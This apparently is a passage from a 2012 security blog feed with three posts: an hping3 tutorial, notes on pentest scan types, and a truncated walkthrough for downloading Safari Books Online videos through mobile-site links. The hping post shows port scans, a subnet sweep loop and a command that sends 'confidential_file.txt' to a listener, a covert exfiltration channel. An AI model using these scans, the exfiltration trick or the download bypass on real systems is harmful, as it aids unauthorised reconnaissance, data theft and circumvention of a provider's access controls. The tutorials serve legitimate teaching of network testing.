class="tr_bq"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445&lt;br /&gt;6 ports to scan, use -V to see all the replies&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;|port| serv name |  flags  |ttl| id  | win | len |&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;&amp;nbsp; &amp;nbsp;21 ftp        : .S..A... 128 50177 64240    44&lt;br /&gt;&amp;nbsp; &amp;nbsp;22 ssh        : ..R.A... 128 50433     0    40&lt;br /&gt;&amp;nbsp; &amp;nbsp;23 telnet     : ..R.A... 128 50689     0    40&lt;br /&gt;&amp;nbsp; 135 loc-srv    : .S..A... 128 50945 64240    44&lt;br /&gt;&amp;nbsp; 139 netbios-ssn: .S..A... 128 51201 64240    44&lt;br /&gt;&amp;nbsp; 445 microsoft-d: .S..A... 128 51457 64240    44&lt;br /&gt;All replies received. Done.&lt;br /&gt;Not responding ports:&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Alright, with SYN packets, we now find that the target responds back with SYN-ACK for some ports and RST-ACK for other ports.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;A SYN-ACK implies that the ports [21,135,139,445] are open, whereas a RST-ACK for ports 22, 23 tells us they are closed / no ssh or telnet on the target box.&lt;/div&gt;&lt;br /&gt;Now try using the aliases:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;span style="color: yellow;"&gt;hping3 -8 known 172.72.5.139 -S&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;Scanning 172.72.5.139 (172.72.5.139), port known&lt;br /&gt;317 ports to scan, use -V to see all the replies&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;|port| serv name |  flags  |ttl| id  | win | len |&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;&amp;nbsp; 135 loc-srv    : .S..A... 128 25860 64240    44&lt;br /&gt;&amp;nbsp; 139 netbios-ssn: .S..A... 128 26628 64240    44&lt;br /&gt;&amp;nbsp; 445 microsoft-d: .S..A... 128 34820 64240    44&lt;br /&gt;&amp;nbsp; &amp;nbsp;21 ftp        : .S..A... 128   774 64240    44&lt;br /&gt;All replies received. Done.&lt;br /&gt;Not responding ports:&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;root@victor:xd# &lt;span style="color: yellow;"&gt;hping3 -8 all 172.72.5.139 -S&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;Scanning 172.72.5.139 (172.72.5.139), port all&lt;br /&gt;65536 ports to scan, use -V to see all the replies&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;|port| serv name |  flags  |ttl| id  | win | len |&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;21 ftp        : .S..A... 128  9127 64240    44&lt;br /&gt;135 loc-srv    : .S..A... 128 38311 64240    44&lt;br /&gt;139 netbios-ssn: .S..A... 128 39335 64240    44&lt;br /&gt;445 microsoft-d: .S..A... 128 33214 64240    44&lt;br /&gt;52111            : .S..A... 128  8910 64240    44&lt;br /&gt;All replies received. Done.&lt;br /&gt;Not responding ports: (3130 icpv2) (3131 ) (3132 ) (3133 ) (3134 ) (3135 ) (3136 ) (3137 ) (3138 ) (3139 ) (3140 ) (3141 ) (3142 ) (3143 ) (3144 ) (3145 ) (3146 )&amp;nbsp;(3147 ) (3148 ) (3149 ) (3150 ) (3151 ) ...snip...&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Final mode is the &lt;b&gt;Listen mode&lt;/b&gt;, activated by &lt;span style="color: magenta;"&gt;-9&lt;/span&gt; or &lt;span style="color: magenta;"&gt;--listen&lt;/span&gt; switch. Basically, when started in listen mode, hping &lt;i&gt;waits&lt;/i&gt;] for an incoming packet. hping expects a &lt;i&gt;signature&lt;/i&gt; in the incoming packet. Once it finds the signature, hping then dumps the packet, starting -from- the signature -to- the packet end.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;For example, on my *nix box, I start hping in listen mode and set the signature as '&lt;b&gt;JackP0t&lt;/b&gt;'. Note that in listen mode, we need to specify the interface to listen on [in case there are multiple interfaces on your box]. Next on the Windows target box, I start hping and give it the file 'confidential_file' as the data input. Remember this data file content will be 'prepended' with the signature 'JackP0t' when it goes out in the packet.&lt;/span&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt; &lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 --help&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;usage: hping3 host [options]&lt;/span&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;br /&gt;&lt;span style="color: lime;"&gt;Common&lt;br /&gt;&amp;nbsp; -d  --data       data size                    (default is 0)&lt;br /&gt;&amp;nbsp; -E  --file       data from file&lt;br /&gt;&amp;nbsp; -e  --sign       add 'signature'&lt;br /&gt;&amp;nbsp; -j  --dump       dump packets in hex&lt;br /&gt;&amp;nbsp; -J  --print      dump printable characters&lt;br /&gt;&amp;nbsp; -B  --safe       enable 'safe' protocol&lt;br /&gt;&amp;nbsp; -u  --end        tell you when --file reached EOF and prevent rewind&lt;br /&gt;&amp;nbsp; -T  --traceroute traceroute mode              (implies --bind and --ttl 1)&lt;br /&gt;&amp;nbsp; --tr-stop        Exit when receive the first not ICMP in traceroute mode&lt;br /&gt;&amp;nbsp; --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop&lt;br /&gt;&amp;nbsp; --tr-no-rtt Don't calculate/show RTT information in traceroute mode&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;On *nix box:&lt;/div&gt;&lt;/span&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 --listen JackP0t -I vmnet1&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;hping3 listen mode&lt;br /&gt;[main] memlockall(): Success&lt;br /&gt;Warning: can't disable memory paging!&lt;br /&gt;Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.Secret data.&lt;/span&gt; &amp;lt;--- &lt;span style="color: red;"&gt;content in the file 'confidential_file' which we sent in the packets. hping listener sees the signature 'JackP0t' and then dumps bytes that follow.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;From Windows system:&lt;/div&gt;&lt;/span&gt;&lt;blockquote class="tr_bq" style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;C:\Documents and Settings\Administrator\Desktop\hping2.win32&amp;gt;&lt;span style="color: yellow;"&gt;hping --data 100 --file confidential_file.txt -e JackP0t 172.72.5.1 -V --end&lt;/span&gt; &amp;lt;--- &lt;span style="color: red;"&gt;we have set a data size of 100 bytes, specified the file 'confidential_file.txt' as data input, set 'JackP0t' as the signature, used a Verbose option to see responses and lastly, used the --end option to tell us when the file reaches EOF.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime; font-family: Verdana, sans-serif; font-size: x-small;"&gt;using AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport, addr: 172.72.5.139, MTU: 1500&lt;br /&gt;HPING (XPSP2) 172.72.5.1 (AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport 172.72.5.1): NO FLAGS are set, 40 headers + 100 data bytes&lt;br /&gt;[main] memlockall(): No error&lt;br /&gt;Warning: can't disable memory paging!&lt;br /&gt;EOF reached, wait some second than press ctrl+c&lt;br /&gt;len=46 ip=172.72.5.1 ttl=64 DF id=0 tos=0 iplen=40&lt;br /&gt;sport=0 flags=RA seq=0 win=0 rtt=16.0 ms&lt;br /&gt;seq=0 ack=141 sum=7441 urp=0&lt;br /&gt;EOF reached, wait some second than press ctrl+c&lt;br /&gt;len=46 ip=172.72.5.1 ttl=64 DF id=0 tos=0 iplen=40&lt;br /&gt;sport=0 flags=RA seq=1 win=0 rtt=0.0 ms&lt;br /&gt;seq=0 ack=26600 sum=17da urp=0&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;Do note that hping does NOT allow us to scan or send packets to a range of IP addresses. However, we can automate it using a bit of shell scripting.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Let's say we want to send 1 single SYN packet to all 'known' alias ports on all hosts in 172.72.5.0/24 network. This can be done as follows:&lt;/div&gt;&lt;/span&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime; font-family: Verdana, sans-serif; font-size: x-small;"&gt;for i in `seq 1 255`; do hping3 --count 1 -8 known -S 172.72.5.$i; done&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;.....&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-9018014109161945950?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/9018014109161945950/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/diy-tools-using-hping.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/9018014109161945950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/9018014109161945950'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/diy-tools-using-hping.html' title='[DIY] Tools - Using Hping'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-4683151915879135830</id><published>2012-01-30T04:01:00.000+05:30</published><updated>2012-01-30T04:01:17.935+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='network scan types'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='OS fingerprinting'/><category scheme='http://www.blogger.com/atom/ns#' term='service version scan'/><category scheme='http://www.blogger.com/atom/ns#' term='p0f'/><category scheme='http://www.blogger.com/atom/ns#' term='network scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='port scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='network tracing'/><category scheme='http://www.blogger.com/atom/ns#' term='network sweeping'/><title type='text'>[Quick Notes] Various network scan types</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;A pentester performs several types of network scans during a test. These are usually sequential in nature, that is, we proceed with each scan, collect information and the move on to the next scan. With each scan, we gather specific information about our target environment.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;1. &lt;b&gt;Network Sweeps&lt;/b&gt;: Objective is to identify any live IP addresses in the target range - think,&lt;span style="color: lime;"&gt; &lt;i&gt;ping&lt;/i&gt;&amp;nbsp;&lt;i&gt;&amp;lt;IP&amp;gt;&lt;/i&gt;&lt;/span&gt; or&amp;nbsp;&lt;i&gt;&lt;span style="color: lime;"&gt;nmap -sn &amp;lt;IP&lt;/span&gt;&amp;gt;&lt;/i&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;2. &lt;b&gt;Network Tracing&lt;/b&gt;: Here we try to determine the target network topology &amp;amp; create a network map - think, &lt;i&gt;&lt;span style="color: lime;"&gt;traceroute&amp;nbsp;&lt;/span&gt;&lt;/i&gt;or &lt;span style="color: lime;"&gt;nmap --trace &amp;lt;IP&amp;gt;&lt;/span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;3. &lt;b&gt;Port Scanning&lt;/b&gt;: As the name suggests, we attempt to identify any open, listening TCP and UDP ports on target hosts. At this step, a pentester gets a fair idea on what kind of applications &amp;amp; services are running in the environment. If any of the services is/are known to be vulnerable, a tester has&amp;nbsp;a potential avenue of compromising the vulnerable host.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;4. &lt;b&gt;OS fingerprinting&lt;/b&gt;: Now that we have identified the running services, we must identify the platform it is running on. Is the target a Solaris server, or is it RHEL or a Microsoft Windows 2008 server? Our exploits, other attacks and more importantly, the overall attack process for a host running a vulnerable service, for example, will vary based on what is the host OS. Once a target OS is known, a tester can research for known OS vulnerabilities, exploits &amp;amp; potential security controls in place. The actual attack surface on the host, hence, becomes clear with the knowledge of target OS.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Simply use nmap to fingerprint the OS (Active OS fingerprinting):&amp;nbsp;&lt;i&gt;&lt;span style="color: lime;"&gt;nmap -O &amp;lt;IP&amp;gt;&lt;/span&gt; / &lt;/i&gt;or use &lt;b&gt;&lt;a href="http://lcamtuf.coredump.cx/p0f3/" target="_blank"&gt;p0f3&lt;/a&gt;&lt;/b&gt;&amp;nbsp;(Passive OS fingerprinting).&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;5. &lt;b&gt;Version Scans&lt;/b&gt;: This scan attempts to confirm what versions of services are running on the end hosts. Knowing the service versions can also, in some cases, immediately tell a tester if a vulnerable service is implemented in the target environment. An example is SSH v1, which has known vulnerabilities. With nmap, service scan is: &lt;i&gt;&lt;span style="color: lime;"&gt;nmap -sV &amp;lt;IP&amp;gt;&lt;/span&gt;.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;6. &lt;b&gt;Vulnerability Scanning&lt;/b&gt;: At this point, we know the live IPs, listening ports, what services are running on the ports, what is the operating system and platform of the targets, and what are the versions of services running on them. This scanning phase confirms if any of the identified hosts &amp;amp; services have known vulnerabilities. Most vulnerability scanners today also tell if there are any known, publicly-available exploits present for an identified vulnerability, whether certain services are using no authentication or weak auth&amp;nbsp;(think, default or no MSSQL '&lt;i&gt;&lt;span style="color: blue;"&gt;sa&lt;/span&gt;&lt;/i&gt;' account), CVE-ID, etc.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-4683151915879135830?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/4683151915879135830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/quick-notes-various-network-scan-types.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/4683151915879135830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/4683151915879135830'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/quick-notes-various-network-scan-types.html' title='[Quick Notes] Various network scan types'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-391668725585140369</id><published>2012-01-23T18:18:00.000+05:30</published><updated>2012-01-23T18:18:29.786+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Authorization issue'/><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><category scheme='http://www.blogger.com/atom/ns#' term='safari.vo.llnwd.net'/><category scheme='http://www.blogger.com/atom/ns#' term='safaribooksonline.com'/><category scheme='http://www.blogger.com/atom/ns#' term='Download videos'/><category scheme='http://www.blogger.com/atom/ns#' term='Safari'/><category scheme='http://www.blogger.com/atom/ns#' term='Safaribooksonline'/><title type='text'>Hack Safaribooks video downloads</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;I have a &lt;a href="http://safaribooksonline.com/" target="_blank"&gt;safaribooks&lt;/a&gt;&amp;nbsp;account. A few hours back, I was going through a video series on safari &amp;amp; I thought I should download it for offline reference. Makes it easier to study.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;But there is no option to download videos! That sucks on part of Safari. They expect users to be online to be able to watch the video packages? wtf!&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I decided to take a look at the site just to make sure the option is not hidden somewhere. Nope. No download option for videos. Fast forward a 10-15 minutes, I find myself checking the source code; crazy amounts of AJAX code in there.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;After another 15 minutes or so, here I am, watching the videos offline &amp;amp; writing this post.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I followed through post AJAX, carefully looked at the site &amp;amp; the options available for us, the users; &amp;amp; identified a way. No 'testing' involved, just a knowledge of site &amp;amp; flow was needed. As of today, this is probably the 'only' way to download the undownloadable videos from Safari.&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Please do note you or someone else needs to be a user - Individual or Corporate - for being able to 'know' the location of content on Safari.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Login to Safari &amp;amp; access the study resource.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Ku-RPS50M80/Tx1Dt0uGMYI/AAAAAAAAAwA/BwkcfmO3xWw/s1600/safari-login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;img border="0" height="433" src="http://4.bp.blogspot.com/-Ku-RPS50M80/Tx1Dt0uGMYI/AAAAAAAAAwA/BwkcfmO3xWw/s640/safari-login.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Scroll down past the table of contents.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-KZnF1Hqqj18/Tx1Errj5SLI/AAAAAAAAAwI/Z-PLhFeQ4D8/s1600/safari-gotopage-standard.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;img border="0" height="496" src="http://2.bp.blogspot.com/-KZnF1Hqqj18/Tx1Errj5SLI/AAAAAAAAAwI/Z-PLhFeQ4D8/s640/safari-gotopage-standard.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Switch to Mobile Version.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-iUCEmYJRgIU/Tx1KiGvCiQI/AAAAAAAAAw4/sG2hJtMECPI/s1600/safari-swtomobileversion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;img border="0" height="352" src="http://3.bp.blogspot.com/-iUCEmYJRgIU/Tx1KiGvCiQI/AAAAAAAAAw4/sG2hJtMECPI/s640/safari-swtomobileversion.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-JAk3-jTSP-c/Tx1FLvtUDSI/AAAAAAAAAwQ/KMXhvPbptUc/s1600/safari-swtomobileversion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Proceed with 'Start Watching'. Meanwhile, notice that the link to 'Start&amp;nbsp;Watching' for this item is:&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq" style="text-align: justify;"&gt;&lt;u&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;m.safaribooksonline.com/clip?isbn=XXXXX&amp;amp;linkid=a01&lt;/span&gt;&lt;/u&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;This is the next screen when you click on 'Start Watching'.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-PJByTucXySo/Tx1Gab8SYDI/AAAAAAAAAwY/kz30oo3Jh8Y/s1600/safari-link-gets-built-by-clicking-on-first-link.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/-PJByTucXySo/Tx1Gab8SYDI/AAAAAAAAAwY/kz30oo3Jh8Y/s640/safari-link-gets-built-by-clicking-on-first-link.png" width="638" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;The original request goes to&amp;nbsp;&lt;u&gt;m.safaribooksonline.com/clip?isbn=XXXXX&amp;amp;linkid=a01&lt;/u&gt;&amp;nbsp;which then redirects to the actual download link:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq" style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a01.mp4?AccountId=XXXXX&amp;amp;UserId=YYYYY&amp;amp;e=1327343958&amp;amp;Fpid=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;BBBBB&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;ClipId=a01&amp;amp;source=mui&amp;amp;h=ZZZZZ&amp;amp;source=mui&amp;amp;e=AAAAA&amp;amp;h=ZZZZZ&amp;amp;ClipId=a01&amp;amp;AccountId=XXXXX&amp;amp;UserId=YYYYY&amp;amp;Fpid=BBBBB&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-bVRqVnO22Ls/Tx1H5fMrh7I/AAAAAAAAAwg/rL-IU2L77sc/s1600/safari-directlinkreceived.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="248" 